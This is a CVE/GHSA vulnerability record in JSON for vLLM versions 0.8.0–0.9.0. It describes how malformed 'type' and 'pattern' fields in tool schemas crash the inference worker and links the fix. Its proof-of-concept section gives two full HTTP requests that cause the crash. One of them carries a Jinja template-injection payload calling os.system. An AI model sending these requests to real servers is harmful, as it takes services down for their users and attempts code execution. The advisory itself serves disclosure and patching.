{"id":"CVE-2025-48944","aliases":["CVE-2025-48944","GHSA-vrq3-r879-7m65","PYSEC-2026-2023"],"related":[],"kind":"vulnerability","state":"published","title":"vLLM Tool Schema allows DoS via Malformed pattern and type Fields","summary":"vLLM is an inference and serving engine for large language models (LLMs). In version 0.8.0 up to but excluding 0.9.0, the vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the \"pattern\" and \"type\" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted. Version 0.9.0 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"vLLM is an inference and serving engine for large language models (LLMs). In version 0.8.0 up to but excluding 0.9.0, the vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the \"pattern\" and \"type\" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted. Version 0.9.0 fixes the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the \"pattern\" and \"type\" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted. \n\n### Details\nThe \"type\" field is expected to be one of: \"string\", \"number\", \"object\", \"boolean\", \"array\", or \"null\". Supplying any other value will cause the worker to crash with the following error:\n\nRuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type \"something_or_nothing\"\n\nThe \"pattern\" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors.\n\nFor example, the following inputs will crash the worker:\n\nUnclosed {, [, or (\n\nClosed:{} and []\n\nHere are some of runtime errors on the crash depending on what gets injected:\n\nRuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed.\nRuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count.\nRuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed.\n\n### PoC\nHere is the POST request using the type field to crash the worker. Note the type field is set to \"something\" rather than the expected types it is looking for:\nPOST /v1/chat/completions HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: \nContent-Type: application/json\nContent-Length: 579\nOrigin: \nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\nConnection: keep-alive\n\n{\n  \"model\": \"mistral-nemo-instruct\",\n  \"messages\": [{ \"role\": \"user\", \"content\": \"crash via type\" }],\n  \"tools\": [\n    {\n      \"type\": \"function\",\n      \"function\": {\n        \"name\": \"crash01\",\n        \"parameters\": {\n          \"type\": \"object\",\n          \"properties\": {\n            \"a\": {\n              \"type\": \"something\"\n            }\n          }\n        }\n      }\n    }\n  ],\n  \"tool_choice\": {\n    \"type\": \"function\",\n    \"function\": {\n      \"name\": \"crash01\",\n      \"arguments\": { \"a\": \"test\" }\n    }\n  },\n  \"stream\": false,\n  \"max_tokens\": 1\n}\n\nHere is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker.\n\nPOST /v1/chat/completions HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: \nContent-Type: application/json\nContent-Length: 718\nOrigin: \nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\nConnection: keep-alive\n\n{\n  \"model\": \"mistral-nemo-instruct\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": \"Crash via Pattern\"\n    }\n  ],\n  \"tools\": [\n    {\n      \"type\": \"function\",\n      \"function\": {\n        \"name\": \"crash02\",\n        \"parameters\": {\n          \"type\": \"object\",\n          \"properties\": {\n            \"a\": {\n              \"type\": \"string\",\n\"pattern\": \"{{ __import__('os').system('echo RCE_OK > /tmp/pwned') or 'SAFE' }}\"\n            }\n          }\n        }\n      }\n    }\n  ],\n  \"tool_choice\": {\n    \"type\": \"function\",\n    \"function\": {\n      \"name\": \"crash02\"\n    }\n  },\n  \"stream\": false,\n  \"max_tokens\": 32,\n  \"temperature\": 0.2,\n  \"top_p\": 1,\n  \"n\": 1\n}\n\n### Impact\nBackend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests. \n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/17623","format":"markdown","source":"ghsa"},{"lang":"es","text":"vLLM es un motor de inferencia y servicio para modelos de lenguaje grandes (LLM). Desde la versión 0.8.0 hasta la 0.9.0 (excluyendo esta última), el backend de vLLM utilizado con el endpoint de OpenAPI /v1/chat/completions no valida entradas inesperadas o incorrectas en los campos \"patrón\" y \"tipo\" al invocar la funcionalidad de herramientas. Estas entradas no se validan antes de compilarse o analizarse, lo que provoca un bloqueo del trabajador de inferencia con una sola solicitud. El trabajador permanece inactivo hasta que se reinicia. La versión 0.9.0 corrige este problema.","source":"nvd"}],"published":"2025-05-28T19:42:32.000Z","modified":"2026-08-07T08:12:14.152Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-20"],"affected":[{"ranges":[{"version":">= 0.8.0, < 0.9.0","status":"affected"}],"vendor":"vllm-project","product":"vllm","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0.8.0","status":"affected","fixed":"0.9.0"}],"ecosystem":"PyPI","package":"vllm","purl":"pkg:pypi/vllm","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"0.8.0","fixed":"0.9.0"}],"vendor":"vllm","product":"vllm","cpe":"cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0.8.0","status":"affected","fixed":"0.9.0"}],"ecosystem":"PyPI","package":"vllm","purl":"pkg:pypi/vllm","source":"pysec"}],"references":[{"url":"https://github.com/vllm-project/vllm/security/advisories/GHSA-vrq3-r879-7m65","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/vllm-project/vllm/pull/17623","tags":["issue-tracking","vendor-advisory","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48944","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-vrq3-r879-7m65","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-2023.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/vllm-project/vllm","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/vllm","tags":["package","web"],"sources":["ghsa","pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-05-30T18:56:49.162Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-48944","url":"https://www.cve.org/CVERecord?id=CVE-2025-48944","licence":"CVE Terms of Use","modified":"2025-05-30T18:56:56.406Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-vrq3-r879-7m65","url":"https://github.com/advisories/GHSA-vrq3-r879-7m65","licence":"CC-BY-4.0","modified":"2026-08-07T08:12:14.152Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-48944","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48944","licence":"Public domain","modified":"2026-06-17T09:30:31.710Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2023","url":"https://osv.dev/vulnerability/PYSEC-2026-2023","licence":"CC-BY-4.0","modified":"2026-07-07T17:48:17.619Z"}],"updatedAt":"2026-11-25T22:58:58.606Z","epss":{"score":0.00653,"percentile":0.52616,"date":"2026-12-02T12:00:21.000Z"}}